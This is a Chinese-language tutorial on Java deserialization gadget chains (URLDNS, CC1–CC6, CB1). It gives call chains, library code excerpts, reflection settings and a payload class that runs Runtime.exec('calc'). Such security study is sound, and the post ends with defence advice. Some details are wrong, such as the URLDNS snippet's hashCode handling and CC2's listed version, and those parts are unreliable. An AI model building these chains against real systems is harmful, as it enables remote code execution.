CC、CB链整合篇
字数 1985 2025-09-23 19:27:46
CC/CB链整合分析教程
1. URLDNS链分析
1.1 基本原理
- URLDNS链用于探测反序列化漏洞是否存在
- 通过HashMap的hash方法触发URL的hashCode方法
- hashCode方法会发起DNS查询
1.2 关键代码
// 触发点
handler.hashCode(this); // 在URL类中
// 完整POC
HashMap hm = new HashMap();
URL u = new URL("http://dnslog.cn");
// 反射修改hashCode值避免put时触发
Field f = u.getClass().getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, -1);
hm.put(u, "test");
// 恢复hashCode值
f.set(u, -1);
1.3 利用链
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URL.getHostAddress() -> DNS查询
2. CC1链分析
2.1 环境要求
- Commons Collections <= 3.2.1
- JDK <= 8u65
2.2 核心组件
2.2.1 Transformer接口
public interface Transformer {
Object transform(Object input);
}
2.2.2 InvokerTransformer
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
2.2.3 ConstantTransformer
public Object transform(Object input) {
return iConstant;
}
2.2.4 ChainedTransformer
public Object transform(Object object) {
for (Transformer transformer : iTransformers) {
object = transformer.transform(object);
}
return object;
}
2.2.5 TransformedMap
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
2.2.6 AnnotationInvocationHandler
private void readObject(ObjectInputStream var1) {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
memberValue.setValue(...);
}
}
2.3 完整利用链
AnnotationInvocationHandler.readObject()
-> AbstractInputCheckedMapDecorator.MapEntry.setValue()
-> TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
2.4 关键点说明
-
必须使用
Target.class作为AnnotationInvocationHandler构造参数,因为:- 必须是注解类
- 注解接口数必须为1
- 必须为Annotation.class
-
Map中必须包含键为"value"的条目,因为:
- @Target注解只有value属性
- 代码会检查memberValues中是否有对应注解属性的键
3. CC6链分析
3.1 改进点
- 解决高版本JDK中AnnotationInvocationHandler.readObject()不再调用setValue的问题
- 使用LazyMap替代TransformedMap
3.2 核心组件
3.2.1 LazyMap
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = factory.transform(key);
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
3.2.2 TiedMapEntry
public Object getValue() {
return map.get(key);
}
public int hashCode() {
return getValue().hashCode();
}
3.2.3 HashMap
final int hash(Object key) {
return key.hashCode();
}
3.3 完整利用链
HashMap.readObject()
-> HashMap.hash()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> Runtime.exec()
3.4 关键问题解决
- 问题:put操作会提前触发LazyMap.get()
- 解决方案:通过反射修改TiedMapEntry的map属性,避免提前触发
4. CC3链分析
4.1 改进点
- 绕过Runtime黑名单限制
- 使用TemplatesImpl加载自定义字节码
4.2 核心组件
4.2.1 TemplatesImpl
public synchronized void defineTransletClasses() {
// ...
_class[i] = loader.defineClass(_bytecodes[i]);
}
private Translet getTransletInstance() {
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
return translet;
}
public synchronized Properties getOutputProperties() {
return newTransformer().getOutputProperties();
}
4.3 恶意类要求
public class EvilClass extends AbstractTranslet {
public EvilClass() throws Exception {
Runtime.getRuntime().exec("calc");
}
// 必须实现这两个方法
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
4.4 关键配置
// 设置_bytecodes
setFieldValue(templates, "_bytecodes", new byte[][] {evilCode});
// 设置_name
setFieldValue(templates, "_name", "test");
// 设置_tfactory
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
5. CC2链分析
5.1 改进点
- 绕过InvokerTransformer限制
- 使用InstantiateTransformer触发TrAXFilter构造方法
5.2 核心组件
5.2.1 InstantiateTransformer
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
5.2.2 TrAXFilter
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
templates.newTransformer(); // 触发点
}
5.3 完整利用链
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> InstantiateTransformer.transform()
-> TrAXFilter构造方法
-> TemplatesImpl.newTransformer()
-> getTransletInstance()
-> defineClass()加载恶意字节码
6. CC4链分析
6.1 改进点
- 适用于Commons Collections 4.0+
- 使用TransformingComparator作为触发点
6.2 核心组件
6.2.1 TransformingComparator
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
6.3 关键配置
// 必须设置size>=2才能触发heapify
setFieldValue(queue, "size", 2);
7. CB1链分析
7.1 环境要求
- Commons BeanUtils <= 1.9.2
7.2 核心组件
7.2.1 PropertyUtils.getProperty
// 可以调用私有getter方法
Object value = PropertyUtils.getProperty(bean, propertyName);
7.2.2 BeanComparator
public int compare(Object o1, Object o2) {
Object value1 = PropertyUtils.getProperty(o1, property);
Object value2 = PropertyUtils.getProperty(o2, property);
return internalCompare(value1, value2);
}
7.3 完整利用链
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> newTransformer()
-> 加载恶意字节码
8. 总结
8.1 各链对比
| 链名称 | 适用版本 | 核心特点 | 触发方式 |
|---|---|---|---|
| URLDNS | 通用 | 仅用于探测 | HashMap触发URL.hashCode |
| CC1 | CC<=3.2.1, JDK<=8u65 | 使用AnnotationInvocationHandler | setValue触发 |
| CC6 | CC<=3.2.1 | 使用LazyMap+TiedMapEntry | hashCode触发 |
| CC3 | CC<=3.2.1, JDK<=8u65 | 使用TemplatesImpl加载字节码 | 多种触发方式 |
| CC2 | CC<=3.2.1 | 绕过InvokerTransformer | InstantiateTransformer触发 |
| CC4 | CC4.0+ | 使用TransformingComparator | PriorityQueue触发 |
| CB1 | BeanUtils<=1.9.2 | 使用BeanComparator | getProperty触发 |
8.2 防御建议
- 升级Commons Collections到最新版本
- 使用JDK高版本(>8u65)
- 实施反序列化白名单
- 使用安全框架如SerialKiller
8.3 学习建议
- 从简单的URLDNS开始理解基本原理
- 逐步分析每个Transformer的功能
- 重点关注触发点和参数传递
- 使用调试工具跟踪执行流程
- 尝试构造自己的POC加深理解